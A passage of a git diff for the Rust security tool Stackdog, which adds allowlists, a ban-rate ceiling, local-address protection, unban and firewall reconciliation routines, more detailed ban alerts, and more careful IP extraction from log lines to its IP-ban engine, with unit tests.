); + assert_eq!( + tagged_ban_ip("tcp dport 25 drop comment \"stackdog\" # handle 7"), + None + ); + assert_eq!(tagged_ban_ip("type filter hook input priority 0;"), None); + } } diff --git a/src/ip_ban/config.rs b/src/ip_ban/config.rs index b2f04ed..9982f20 100644 --- a/src/ip_ban/config.rs +++ b/src/ip_ban/config.rs @@ -1,4 +1,5 @@ use std::env; +use std::net::Ipv4Addr; #[derive(Debug, Clone)] pub struct IpBanConfig { @@ -7,6 +8,29 @@ pub struct IpBanConfig { pub find_time_secs: u64, pub ban_time_secs: u64, pub unban_check_interval_secs: u64, + /// CIDR ranges of reverse proxies; when the source IP falls in one of + /// these ranges the engine will look for the real client IP in + /// X-Forwarded-For / X-Real-IP headers before banning. + pub trusted_proxy_ranges: Vec<(Ipv4Addr, u8)>, + /// CIDR ranges that must never be banned, whatever the logs say. + /// + /// Meant for infrastructure whose loss takes the service down with it: + /// load balancers, health checkers, VPN gateways, the office egress. + pub allowlist_ranges: Vec<(Ipv4Addr, u8)>, + /// Ceiling on how many addresses may be blocked within a minute. + /// + /// A safety valve, not a policy: banning a dozen addresses in one second + /// means the log was misread, not that a dozen attackers arrived together. + /// Zero disables the ceiling. + pub max_bans_per_minute: u32, + /// Never ban addresses that belong to this machine or its containers: + /// host interface addresses, docker network subnets. + /// + /// A DROP rule for one of those severs the service from its own pieces — + /// the firewall matches traffic in both directions, so banning the host's + /// address or a container peer takes the whole stack down. Off only when + /// an operator has a reason to block a local address deliberately. + pub protect_local_ips: bool, } impl IpBanConfig { @@ -20,8 +44,60 @@ impl IpBanConfig { "STACKDOG_IP_BAN_UNBAN_CHECK_INTERVAL_SECS", 60, ), + trusted_proxy_ranges: parse_cidr_list( + &env::var("STACKDOG_TRUSTED_PROXY_RANGES") + .unwrap_or_else(|_| "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16".into()), + ), + allowlist_ranges: parse_cidr_list( + &env::var("STACKDOG_IP_BAN_ALLOWLIST").unwrap_or_default(), + ), + max_bans_per_minute: parse_u32_env("STACKDOG_IP_BAN_MAX_PER_MINUTE", 10), + protect_local_ips: parse_bool_env("STACKDOG_IP_BAN_PROTECT_LOCAL_IPS", true), } } + + /// Returns true if `ip` is protected from banning. + /// + /// A bare address is accepted as well as CIDR notation: "167.233.9.19" is + /// read as "167.233.9.19/32", since that is how operators write it. + pub fn is_allowlisted(&self, ip: &Ipv4Addr) -> bool { + self.allowlist_ranges + .iter() + .any(|(network, prefix_len)| in_cidr(ip, network, *prefix_len)) + } + + /// Returns true if `ip` falls within any configured trusted proxy range. + pub fn is_trusted_proxy(&self, ip: &Ipv4Addr) -> bool { + self.trusted_proxy_ranges + .iter() + .any(|(network, prefix_len)| in_cidr(ip, network, *prefix_len)) + } +} + +pub(crate) fn in_cidr(ip: &Ipv4Addr, network: &Ipv4Addr, prefix_len: u8) -> bool { + if prefix_len == 0 { + return true; + } + let mask = !0u32 << (32 - prefix_len); + let ip_bits = u32::from_be_bytes(ip.octets()); + let net_bits = u32::from_be_bytes(network.octets()); + (ip_bits & mask) == (net_bits & mask) +} + +pub(crate) fn parse_cidr_list(raw: &str) -> Vec<(Ipv4Addr, u8)> { + raw.split(',') + .map(|s| s.trim()) + .filter(|s| !s.is_empty()) + .filter_map(|cidr| match cidr.split_once('/') { + Some((addr_str, prefix_str)) => { + let addr: Ipv4Addr = addr_str.parse().ok()?; + let prefix: u8 = prefix_str.parse().ok()?; + (prefix <= 32).then_some((addr, prefix)) + } + // A bare address means a single host. + None => cidr.parse::().ok().map(|addr| (addr, 32)), + }) + .collect() } fn parse_bool_env(name: &str, default: bool) -> bool { @@ -48,3 +124,45 @@ fn parse_u32_env(name: &str, default: u32) -> u32 { .and_then(|value| value.trim().parse::().ok()) .unwrap_or(default) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_parse_cidr_list_accepts_bare_addresses() { + let ranges = parse_cidr_list("167.233.9.19, 10.0.0.0/8 ,bogus,1.2.3.4/33"); + assert_eq!( + ranges, + vec![ + ("167.233.9.19".parse().unwrap(), 32), + ("10.0.0.0".parse().unwrap(), 8) + ] + ); + } + + #[test] + fn test_is_allowlisted_matches_host_and_range() { + let config = IpBanConfig { + enabled: true, + max_retries: 5, + find_time_secs: 300, + ban_time_secs: 1800, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: parse_cidr_list("167.233.9.19,192.168.0.0/16"), + max_bans_per_minute: 10, + protect_local_ips: true, + }; + + assert!(config.is_allowlisted(&"167.233.9.19".parse().unwrap())); + assert!(config.is_allowlisted(&"192.168.4.7".parse().unwrap())); + assert!(!config.is_allowlisted(&"167.233.9.20".parse().unwrap())); + assert!(!config.is_allowlisted(&"8.8.8.8".parse().unwrap())); + } + + #[test] + fn test_allowlist_is_empty_by_default() { + assert!(parse_cidr_list("").is_empty()); + } +} diff --git a/src/ip_ban/engine.rs b/src/ip_ban/engine.rs index 60dff26..39e3168 100644 --- a/src/ip_ban/engine.rs +++ b/src/ip_ban/engine.rs @@ -1,13 +1,16 @@ +use crate::alerting::notifications::{dispatch_stored_alert, env_flag_enabled, NotificationConfig}; use crate::alerting::{AlertSeverity, AlertType}; use crate::database::models::{Alert, AlertMetadata}; use crate::database::repositories::offenses::{ - active_block_for_ip, expired_blocks, find_recent_offenses, insert_offense, mark_blocked, - mark_released, NewIpOffense, OffenseMetadata, + active_block_for_ip, expired_blocks, list_offenses, mark_blocked, mark_released, + record_offense_occurrence, IpOffenseRecord, NewIpOffense, OffenseMetadata, OffenseStatus, }; use crate::database::{create_alert, DbPool}; use crate::ip_ban::config::IpBanConfig; +use crate::ip_ban::gate::{self, BanRefusal, LocalIpContext}; use anyhow::Result; -use chrono::{Duration, Utc}; +use chrono::{DateTime, Duration, Utc}; +use std::collections::HashSet; use uuid::Uuid; #[cfg(target_os = "linux")] @@ -22,16 +25,90 @@ pub struct OffenseInput { pub container_id: Option, pub source_path: Option, pub sample_line: Option, + /// Ban on this offense alone, whatever the threshold says. For findings + /// where one line already means a foothold: an attacker who gets in with + /// one request can switch the monitoring off before offense two. + pub immediate: bool, +} + +/// What happened to a manual ban request. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum BanOutcome { + Banned { blocked_until: DateTime }, + AlreadyBanned, + Refused(BanRefusal), +} + +/// What a firewall/database reconciliation pass changed. +#[derive(Debug, Default, PartialEq, Eq)] +pub struct ReconcileReport { + /// Rules in the firewall with no active block in the database. Removed. + pub orphan_rules_removed: Vec, + /// Active blocks in the database with no rule in the firewall. Re-applied. + pub missing_rules_restored: Vec, } pub struct IpBanEngine { pool: DbPool, config: IpBanConfig, + /// Timestamps of recent blocks, for the per-minute ceiling. + recent_blocks: std::sync::Mutex>>, + /// Addresses of this host and its containers, never bannable. + local_context: LocalIpContext, } impl IpBanEngine { pub fn new(pool: DbPool, config: IpBanConfig) -> Self { - Self { pool, config } + Self { + pool, + config, + recent_blocks: std::sync::Mutex::new(std::collections::VecDeque::new()), + local_context: LocalIpContext::discover_local(), + } + } + + /// Replace the local-IP context. Tests use [`LocalIpContext::empty`] for + /// hermeticity; production callers usually keep discovery. + pub fn with_local_context(mut self, context: LocalIpContext) -> Self { + self.local_context = context; + self + } + + /// Add Docker network subnets to the local-IP context, best-effort. + /// + /// Async and Docker-dependent, so it is a separate step from construction. + pub async fn refresh_local_context(&mut self) { + self.local_context.docker_subnets = LocalIpContext::discover_docker_subnets().await; + } + + /// Whether another address may be blocked right now. + /// + /// A burst of blocks is far more likely to be a misread log than a crowd of + /// attackers arriving in the same second, and the cost of the two mistakes + /// is not symmetric: a missed ban is an alert nobody acted on, a wrong ban + /// is a locked-out customer. The ceiling holds the damage to a handful. + fn ban_budget_available(&self, now: DateTime) -> bool { + if self.config.max_bans_per_minute == 0 { + return true; + } + + let mut recent = match self.recent_blocks.lock() { + Ok(recent) => recent, + Err(poisoned) => poisoned.into_inner(), + }; + while recent + .front() + .is_some_and(|stamp| now - *stamp > Duration::seconds(60)) + { + recent.pop_front(); + } + + if recent.len() as u32 >= self.config.max_bans_per_minute { + return false; + } + + recent.push_back(now); + true } pub fn config(&self) -> &IpBanConfig { @@ -39,12 +116,27 @@ impl IpBanEngine { } pub async fn record_offense(&self, offense: OffenseInput) -> Result { + // Checked before the offense is even recorded: banning a load balancer + // or health checker takes the service down, so protected addresses must + // not accumulate offenses that a later config change could act on. + if let Some(refusal) = + gate::refuse_reason(&offense.ip_address, &self.config, &self.local_context) + { + log::info!( + "Skipping offense for {} ({}): {}", + offense.ip_address, + offense.reason, + refusal.reason() + ); + return Ok(false); + } + if active_block_for_ip(&self.pool, &offense.ip_address)?.is_some() { return Ok(false); } let now = Utc::now(); - insert_offense( + let offense_count = record_offense_occurrence( &self.pool, &NewIpOffense { id: Uuid::new_v4().to_string(), @@ -58,34 +150,125 @@ impl IpBanEngine { sample_line: offense.sample_line.clone(), }), }, - )?; - - let recent = find_recent_offenses( - &self.pool, - &offense.ip_address, - &offense.source_type, now - Duration::seconds(self.config.find_time_secs as i64), )?; - if recent.len() as u32 >= self.config.max_retries { - self.block_ip(&offense, now).await?; + if offense_count >= self.config.max_retries || offense.immediate { + self.block_ip(&offense, offense_count, now).await?; return Ok(true); } Ok(false) } + /// Release a ban ahead of its expiry. + /// + /// Returns `false` when the address has no active block, so callers can + /// answer 404 rather than pretending something was undone. + pub async fn unban_ip(&self, ip_address: &str) -> Result { + let Some(offense) = active_block_for_ip(&self.pool, ip_address)? else { + return Ok(false); + }; + #[cfg(target_os = "linux")] + self.with_firewall_backend(|backend| backend.unblock_ip(&offense.ip_address))?; + + mark_released(&self.pool, &offense.id)?; + let alert = create_alert( + &self.pool, + Alert::new( + AlertType::SystemEvent, + AlertSeverity::Info, + format!("Released IP ban for {}", offense.ip_address), + ) + .with_metadata( + AlertMetadata::default() + .with_source("ip_ban") + .with_reason(format!("Manually released ban for {}", offense.ip_address)), + ), + ) + .await?; + self.notify_action_alert(&alert, "STACKDOG_NOTIFY_IP_BAN_ACTIONS", "ip ban release") + .await; + + Ok(true) + } + + /// Release every block for `ip` and remove its firewall rules — row or no + /// row. + /// + /// The CLI path: unlike [`Self::unban_ip`] it does not require a database + /// record. A crash between the firewall write and the database write strands + /// a DROP rule nothing else will ever remove, and the rules in the kernel + /// are what is actually blocking traffic. Returns the number of records + /// released. + pub async fn unban_ip_best_effort(&self, ip_address: &str) -> Result { + let mut released = 0; + + let blocked = list_offenses(&self.pool, Some(OffenseStatus::Blocked), usize::MAX)?; + for record in &blocked { + if record.ip_address != ip_address { + continue; + } + mark_released(&self.pool, &record.id)?; + released += 1; + } + + #[cfg(target_os = "linux")] + if let Err(err) = self.with_firewall_backend(|backend| backend.unblock_ip(ip_address)) { + log::warn!( + "Failed to remove firewall rules for {}: {}", + ip_address, + err + ); + } + + Ok(released) + } + + /// Blocks currently recorded in the database. + pub fn active_bans(&self) -> Result> { + list_offenses(&self.pool, Some(OffenseStatus::Blocked), usize::MAX) + } + + /// Addresses the Stackdog firewall rules are actually dropping. + /// + /// Empty off-Linux: there is no firewall backend there to ask. + pub fn firewall_banned_ips(&self) -> Result> { + #[cfg(target_os = "linux")] + { + self.with_firewall_backend(|backend| backend.list_banned_ips()) + } + #[cfg(not(target_os = "linux"))] + { + Ok(Vec::new()) + } + } + + /// Release every ban whose window has passed. + /// + /// Returns the number of addresses released, not the number of rows: one + /// address accumulates an offense row per detection, and `mark_blocked` + /// flips all of them, so a single ban expiring leaves several expired rows + /// behind. Releasing per row meant one firewall call and one notification + /// each — an address banned after five offenses produced five identical + /// "Released IP ban" alerts within a second. pub async fn unban_expired(&self) -> Result { let now = Utc::now(); let expired = expired_blocks(&self.pool, now)?; let mut released = 0; + let mut handled: HashSet = HashSet::new(); + + for offense in &expired { + mark_released(&self.pool, &offense.id)?; + + if !handled.insert(offense.ip_address.clone()) { + continue; + } - for offense in expired { #[cfg(target_os = "linux")] self.with_firewall_backend(|backend| backend.unblock_ip(&offense.ip_address))?; - mark_released(&self.pool, &offense.id)?; - create_alert( + let alert = create_alert( &self.pool, Alert::new( AlertType::SystemEvent, @@ -99,17 +282,268 @@ impl IpBanEngine { ), ) .await?; + self.notify_action_alert(&alert, "STACKDOG_NOTIFY_IP_BAN_ACTIONS", "ip ban release") + .await; released += 1; } Ok(released) } - async fn block_ip(&self, offense: &OffenseInput, now: chrono::DateTime) -> Result<()> { + /// Release every ban and remove every Stackdog firewall rule. + /// + /// The panic button: when a wrong ban has taken the service down, restoring + /// connectivity matters more than preserving the block list. Rules the + /// database knows nothing about — a crash between the firewall write and + /// the database write, a lost database — go too. What is in the kernel is + /// what is actually blocking traffic. + pub async fn unban_all(&self) -> Result { + let blocked = list_offenses(&self.pool, Some(OffenseStatus::Blocked), usize::MAX)?; + let mut released: HashSet = HashSet::new(); + + for record in &blocked { + mark_released(&self.pool, &record.id)?; + released.insert(record.ip_address.clone()); + } + + #[cfg(target_os = "linux")] + { + if let Ok(rule_ips) = self.with_firewall_backend(|backend| backend.list_banned_ips()) { + released.extend(rule_ips); + } + + for ip in &released { + if let Err(err) = self.with_firewall_backend(|backend| backend.unblock_ip(ip)) { + log::warn!("Failed to remove firewall rule for {}: {}", ip, err); + } + } + } + + Ok(released.len()) + } + + /// Make the firewall and the database agree again. + /// + /// Two failure modes leave them apart: a crash between the firewall rule + /// and the database write strands a DROP rule nothing will ever remove, + /// and a database row without a rule claims a ban that is not in effect. + /// Untagged rules cannot be told apart from an operator's own and are left + /// alone; `stackdog unban ` removes those by address. + pub async fn reconcile_firewall(&self) -> Result { + // Mutated only where a firewall backend exists (Linux). + #[allow(unused_mut)] + let mut report = ReconcileReport::default(); + + #[cfg(target_os = "linux")] + { + let rule_ips: HashSet = self + .with_firewall_backend(|backend| backend.list_banned_ips())? + .into_iter() + .collect(); + let active: HashSet = + list_offenses(&self.pool, Some(OffenseStatus::Blocked), usize::MAX)? + .into_iter() + .map(|record| record.ip_address) + .collect(); + + for ip in &rule_ips { + if active.contains(ip) { + continue; + } + match self.with_firewall_backend(|backend| backend.unblock_ip(ip)) { + Ok(()) => report.orphan_rules_removed.push(ip.clone()), + Err(err) => log::warn!("Failed to remove orphan rule for {}: {}", ip, err), + } + } + + for ip in &active { + if rule_ips.contains(ip) { + continue; + } + match self.with_firewall_backend(|backend| backend.block_ip(ip)) { + Ok(()) => report.missing_rules_restored.push(ip.clone()), + Err(err) => log::warn!("Failed to restore rule for {}: {}", ip, err), + } + } + } + + Ok(report) + } + + /// Longest sample line kept in an alert message, so one enormous log line + /// cannot blow past a notification channel's size limit. + const SAMPLE_LIMIT: usize = 300; + + /// Explain a ban in the alert itself: which file or container the evidence + /// came from, what triggered it, and the line that did. + /// + /// Without this the alert says only "Blocked IP X after repeated sniff + /// offenses", which is not enough to tell a real attacker from a parsing + /// mistake — and the offending address may appear nowhere in the logs an + /// operator would think to grep. + fn describe_ban( + offense: &OffenseInput, + offense_count: u32, + blocked_until: DateTime, + ) -> String { + let mut message = format!( + "Blocked IP {} after {} {} offenses (until {})", + offense.ip_address, + offense_count, + offense.source_type, + blocked_until.to_rfc3339(), + ); + + if let Some(source_path) = &offense.source_path { + message.push_str(&format!(" — Source: {source_path}")); + } else if let Some(container_id) = &offense.container_id { + let short: String = container_id.chars().take(12).collect(); + message.push_str(&format!(" — Source: container {short}")); + } + + message.push_str(&format!(" | Reason: {}", offense.reason)); + + if let Some(sample_line) = &offense.sample_line { + let sample = sample_line.trim(); + let sample: String = if sample.chars().count() > Self::SAMPLE_LIMIT { + sample + .chars() + .take(Self::SAMPLE_LIMIT) + .chain("…".chars()) + .collect() + } else { + sample.to_string() + }; + message.push_str(&format!(" | Sample: {sample}")); + } + + message + } + + async fn block_ip( + &self, + offense: &OffenseInput, + offense_count: u32, + now: chrono::DateTime, + ) -> Result<()> { + if !self.ban_budget_available(now) { + log::warn!( + "Ban ceiling of {}/min reached, not blocking {} ({}). This usually means log \ + parsing implicated the wrong addresses; raise STACKDOG_IP_BAN_MAX_PER_MINUTE \ + only once you have checked the findings.", + self.config.max_bans_per_minute, + offense.ip_address, + offense.reason + ); + return Ok(()); + } + + self.apply_block(offense, offense_count, now, self.config.ban_time_secs) + .await + } + + /// Ban an address immediately, whatever the offense threshold says. + /// + /// One confirmed attack is enough for a human or the AI assistant. Not + /// enough to skip the gate, though: the same infrastructure addresses are + /// off-limits here, and a CIDR range is refused just as hard. And while a + /// human's judgment overrides the phrase policy (`source_type: "cli"`), the + /// AI tool must name a concrete attack — "repeated connection attempts" is + /// what the internet does all day, and banning on it catches crawlers and + /// health checkers along with scanners. + pub async fn ban_now( + &self, + ip: &str, + reason: &str, + source_type: &str, + duration_secs: Option, + ) -> Result { + if let Some(refusal) = gate::refuse_reason(ip, &self.config, &self.local_context) { + return Ok(BanOutcome::Refused(refusal)); + } + + // Tool-driven bans get the same ceiling as sniff-driven ones: a burst + // of blocks in one second means one misread finding, not a crowd of + // attackers. An operator at the CLI is the one exception. + let automated = source_type != "cli"; + if automated && !gate::names_confirmed_attack(reason) { + log::info!( + "Refusing to ban {} ({}): {}", + ip, + reason, + BanRefusal::WeakEvidence.reason() + ); + return Ok(BanOutcome::Refused(BanRefusal::WeakEvidence)); + } + if automated && !self.ban_budget_available(Utc::now()) { + log::warn!("Ban ceiling reached; refusing to ban {} ({})", ip, reason); + return Ok(BanOutcome::Refused(BanRefusal::BudgetExhausted)); + } + + if active_block_for_ip(&self.pool, ip)?.is_some() { + return Ok(BanOutcome::AlreadyBanned); + } + + let now = Utc::now(); + let duration = duration_secs.unwrap_or(self.config.ban_time_secs); + + // The row first: mark_blocked only flips existing rows, and a ban with + // no row would never expire and never be released. + record_offense_occurrence( + &self.pool, + &NewIpOffense { + id: Uuid::new_v4().to_string(), + ip_address: ip.to_string(), + source_type: source_type.to_string(), + container_id: None, + first_seen: now, + reason: reason.to_string(), + metadata: None, + }, + now - Duration::seconds(self.config.find_time_secs as i64), + )?; + + let offense = OffenseInput { + ip_address: ip.to_string(), + source_type: source_type.to_string(), + reason: reason.to_string(), + severity: AlertSeverity::High, + container_id: None, + source_path: None, + sample_line: None, + immediate: true, + }; + self.apply_block(&offense, 1, now, duration).await?; + Ok(BanOutcome::Banned { + blocked_until: now + Duration::seconds(duration as i64), + }) + } + + async fn apply_block( + &self, + offense: &OffenseInput, + offense_count: u32, + now: chrono::DateTime, + duration_secs: u64, + ) -> Result<()> { + // Defence in depth: both callers gate already. Anything that reaches a + // firewall backend must have passed through refuse_reason first. + if let Some(refusal) = + gate::refuse_reason(&offense.ip_address, &self.config, &self.local_context) + { + log::warn!( + "Refusing to block {} ({}): {}", + offense.ip_address, + offense.reason, + refusal.reason() + ); + return Ok(()); + } + #[cfg(target_os = "linux")] self.with_firewall_backend(|backend| backend.block_ip(&offense.ip_address))?; - let blocked_until = now + Duration::seconds(self.config.ban_time_secs as i64); + let blocked_until = now + Duration::seconds(duration_secs as i64); mark_blocked( &self.pool, &offense.ip_address, @@ -117,15 +551,12 @@ impl IpBanEngine { blocked_until, )?; - create_alert( + let alert = create_alert( &self.pool, Alert::new( AlertType::ThresholdExceeded, offense.severity, - format!( - "Blocked IP {} after repeated {} offenses", - offense.ip_address, offense.source_type - ), + Self::describe_ban(offense, offense_count, blocked_until), ) .with_metadata({ let mut metadata = AlertMetadata::default() @@ -134,18 +565,50 @@ impl IpBanEngine { if let Some(container_id) = &offense.container_id { metadata = metadata.with_container_id(container_id.clone()); } + metadata + .extra + .insert("ip_address".into(), offense.ip_address.clone()); + metadata + .extra + .insert("offense_count".into(), offense_count.to_string()); + metadata + .extra + .insert("blocked_until".into(), blocked_until.to_rfc3339()); + if let Some(source_path) = &offense.source_path { + metadata + .extra + .insert("source_path".into(), source_path.clone()); + } + if let Some(sample_line) = &offense.sample_line { + metadata + .extra + .insert("sample_line".into(), sample_line.clone()); + } metadata }), ) .await?; + self.notify_action_alert(&alert, "STACKDOG_NOTIFY_IP_BAN_ACTIONS", "ip ban") + .await; Ok(()) } + async fn notify_action_alert(&self, alert: &Alert, env_toggle: &str, action_name: &str) { + if !env_flag_enabled(env_toggle, true) { + return; + } + + let config = NotificationConfig::from_env(); + if let Err(err) = dispatch_stored_alert(alert, &config).await { + log::warn!("Failed to send {} notification: {}", action_name, err); + } + } + #[cfg(target_os = "linux")] - fn with_firewall_backend(&self, action: F) -> Result<()> + fn with_firewall_backend(&self, action: F) -> Result where - F: FnOnce(&dyn crate::firewall::FirewallBackend) -> Result<()>, + F: FnOnce(&dyn crate::firewall::FirewallBackend) -> Result, { if let Ok(mut backend) = crate::firewall::NfTablesBackend::new() { backend.initialize()?; @@ -157,12 +620,80 @@ impl IpBanEngine { action(&backend) } + /// Pull IPv4 addresses out of a log line. + /// + /// Context matters: "Chrome/122.0.0.0" in a User-Agent tokenizes to a + /// perfectly valid dotted quad, and banning it blocks a real network on + /// behalf of a browser version number. A candidate is therefore rejected + /// when it continues an identifier — anything directly preceded by a slash, + /// letter, digit, hyphen or underscore. pub fn extract_ip_candidates(line: &str) -> Vec { - line.split(|ch: char| !(ch.is_ascii_digit() || ch == '.')) - .filter(|part| !part.is_empty()) - .filter(|part| is_ipv4(part)) - .map(str::to_string) - .collect() + let mut candidates = Vec::new(); + let mut token_start: Option = None; + + for (index, ch) in line.char_indices() { + if ch.is_ascii_digit() || ch == '.' { + token_start.get_or_insert(index); + } else if let Some(start) = token_start.take() { + Self::push_ip_candidate(&mut candidates, line, start, index); + } + } + if let Some(start) = token_start { + Self::push_ip_candidate(&mut candidates, line, start, line.len()); + } + + candidates + } + + fn push_ip_candidate(candidates: &mut Vec, line: &str, start: usize, end: usize) { + // Sentence punctuation rides along: "from IP 1.2.3.4." tokenizes with a + // trailing dot, which is not a valid address. + let token = line[start..end].trim_matches('.'); + if !is_ipv4(token) { + return; + } + + if let Some(previous) = line[..start].chars().next_back() { + if previous == '/' + || previous == '-' + || previous == '_' + || previous.is_ascii_alphanumeric() + { + return; + } + } + + candidates.push(token.to_string()); + } + + /// Extract the real client IP from X-Forwarded-For / X-Real-IP headers in a + /// log line. Returns the first public-routable IP found, or None. + pub fn extract_forwarded_ip(line: &str) -> Option { + let lower = line.to_ascii_lowercase(); + + // Try X-Forwarded-For: client, proxy1, proxy2 + if let Some(start) = lower.find("x-forwarded-for:") { + let after = &line[start + 16..]; + let value = after.split('"').next().unwrap_or(after); + for candidate in value.split(',') { + let ip = candidate.trim(); + if is_ipv4(ip) { + return Some(ip.to_string()); + } + } + } + + // Try X-Real-IP: + if let Some(start) = lower.find("x-real-ip:") { + let after = &line[start + 10..]; + let value = after.split('"').next().unwrap_or(after); + let ip = value.trim(); + if is_ipv4(ip) { + return Some(ip.to_string()); + } + } + + None } } @@ -180,6 +711,7 @@ mod tests { use crate::database::repositories::offenses::find_recent_offenses; use crate::database::repositories::offenses::OffenseStatus; use crate::database::{create_pool, init_database, list_alerts, AlertFilter}; + use crate::ip_ban::config::parse_cidr_list; use chrono::Utc; #[cfg(target_os = "linux")] use std::process::Command; @@ -215,6 +747,10 @@ mod tests { find_time_secs: 300, ban_time_secs: 60, unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, }, ); @@ -227,6 +763,7 @@ mod tests { container_id: None, source_path: Some("/var/log/auth.log".into()), sample_line: Some("Failed password from 192.0.2.44".into()), + immediate: false, }) .await .unwrap(); @@ -239,6 +776,7 @@ mod tests { container_id: None, source_path: Some("/var/log/auth.log".into()), sample_line: Some("Failed password from 192.0.2.44".into()), + immediate: false, }) .await; @@ -259,6 +797,270 @@ mod tests { assert!(active_block_for_ip(&pool, "192.0.2.44").unwrap().is_some()); } + #[actix_rt::test] + async fn test_extract_ip_candidates_skips_version_strings() { + let access_log = "203.0.113.9 - - [10/Sep/2026:07:17:00] \"GET / HTTP/1.1\" 200 \ + \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36\""; + + let candidates = IpBanEngine::extract_ip_candidates(access_log); + + assert!(candidates.contains(&"203.0.113.9".to_string())); + assert!( + !candidates.contains(&"122.0.0.0".to_string()), + "a Chrome version must not be read as a client address: {candidates:?}" + ); + } + + #[actix_rt::test] + async fn test_extract_ip_candidates_ignores_sentence_punctuation() { + assert_eq!( + IpBanEngine::extract_ip_candidates("Probing detected from IP 132.243.165.112."), + vec!["132.243.165.112".to_string()] + ); + } + + #[actix_rt::test] + async fn test_extract_ip_candidates_keeps_delimited_addresses() { + for line in [ + "Failed password for root from 198.51.100.7 port 22", + "client=198.51.100.7,", + "[198.51.100.7]", + "X-Forwarded-For: 198.51.100.7", + "198.51.100.7 - - [10/Sep/2026]", + ] { + let candidates = IpBanEngine::extract_ip_candidates(line); + assert!( + candidates.contains(&"198.51.100.7".to_string()), + "missed the address in {line:?}" + ); + } + } + + #[actix_rt::test] + async fn test_describe_ban_names_the_evidence() { + let offense = OffenseInput { + ip_address: "198.51.100.7".into(), + source_type: "sniff".into(), + reason: "Failed ssh login".into(), + severity: AlertSeverity::High, + container_id: None, + source_path: Some("/var/log/auth.log".into()), + sample_line: Some("Failed password for root from 198.51.100.7 port 22".into()), + immediate: false, + }; + let until = "2026-09-10T08:00:00Z".parse::>().unwrap(); + + let message = IpBanEngine::describe_ban(&offense, 5, until); + + assert!(message.contains("198.51.100.7")); + assert!(message.contains("after 5 sniff offenses")); + assert!(message.contains("/var/log/auth.log")); + assert!(message.contains("Failed ssh login")); + assert!(message.contains("Failed password for root")); + } + + #[actix_rt::test] + async fn test_describe_ban_truncates_a_huge_sample() { + let offense = OffenseInput { + ip_address: "198.51.100.7".into(), + source_type: "sniff".into(), + reason: "Flood".into(), + severity: AlertSeverity::High, + container_id: Some("0f3b46ca0c16aaaaaaaa".into()), + source_path: None, + sample_line: Some("x".repeat(5_000)), + immediate: false, + }; + let until = "2026-09-10T08:00:00Z".parse::>().unwrap(); + + let message = IpBanEngine::describe_ban(&offense, 5, until); + + assert!(message.contains("container 0f3b46ca0c16")); + assert!(message.chars().count() < 600, "message stayed unbounded"); + assert!(message.ends_with('…')); + } + + #[actix_rt::test] + async fn test_ban_budget_stops_a_burst() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new( + pool, + IpBanConfig { + enabled: true, + max_retries: 1, + find_time_secs: 300, + ban_time_secs: 1800, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 3, + protect_local_ips: true, + }, + ); + let now = Utc::now(); + + assert!(engine.ban_budget_available(now)); + assert!(engine.ban_budget_available(now)); + assert!(engine.ban_budget_available(now)); + assert!( + !engine.ban_budget_available(now), + "a burst past the ceiling must be refused" + ); + + // The window slides: a minute later the budget is back. + assert!(engine.ban_budget_available(now + Duration::seconds(61))); + } + + #[actix_rt::test] + async fn test_ban_budget_can_be_disabled() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new( + pool, + IpBanConfig { + enabled: true, + max_retries: 1, + find_time_secs: 300, + ban_time_secs: 1800, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let now = Utc::now(); + + for _ in 0..50 { + assert!(engine.ban_budget_available(now)); + } + } + + #[actix_rt::test] + async fn test_allowlisted_ip_is_never_recorded_or_banned() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new( + pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 1, + find_time_secs: 300, + ban_time_secs: 1800, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: parse_cidr_list("167.233.9.19,10.0.0.0/8"), + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + + for ip in ["167.233.9.19", "10.1.2.3"] { + let blocked = engine + .record_offense(OffenseInput { + ip_address: ip.into(), + source_type: "sniff".into(), + reason: "Repeated ssh login failure".into(), + severity: AlertSeverity::Critical, + container_id: None, + source_path: Some("/var/log/auth.log".into()), + sample_line: Some(format!("Failed password from {ip}")), + immediate: false, + }) + .await + .unwrap(); + + assert!(!blocked, "{ip} must not be banned"); + assert!(active_block_for_ip(&pool, ip).unwrap().is_none()); + + // No offense row either: a later config change must not be able to + // act on history collected while the address was protected. + let offenses = + find_recent_offenses(&pool, ip, "sniff", Utc::now() - Duration::minutes(5)) + .unwrap(); + assert!(offenses.is_empty(), "{ip} must not accumulate offenses"); + } + } + + #[actix_rt::test] + async fn test_unban_expired_alerts_once_per_address() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let engine = IpBanEngine::new( + pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 3, + find_time_secs: 300, + ban_time_secs: 0, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + + // Detections accumulate on a single row via offense_count. + let mut blocked = Ok(false); + for _ in 0..3 { + blocked = engine + .record_offense(OffenseInput { + ip_address: "192.0.2.77".into(), + source_type: "sniff".into(), + reason: "Repeated ssh login failure".into(), + severity: AlertSeverity::Critical, + container_id: None, + source_path: Some("/var/log/auth.log".into()), + sample_line: Some("Failed password from 192.0.2.77".into()), + immediate: false, + }) + .await; + } + + #[cfg(target_os = "linux")] + if !running_as_root() { + assert!(blocked.is_err()); + return; + } + + assert!(blocked.unwrap()); + + let offenses = find_recent_offenses( + &pool, + "192.0.2.77", + "sniff", + Utc::now() - Duration::minutes(5), 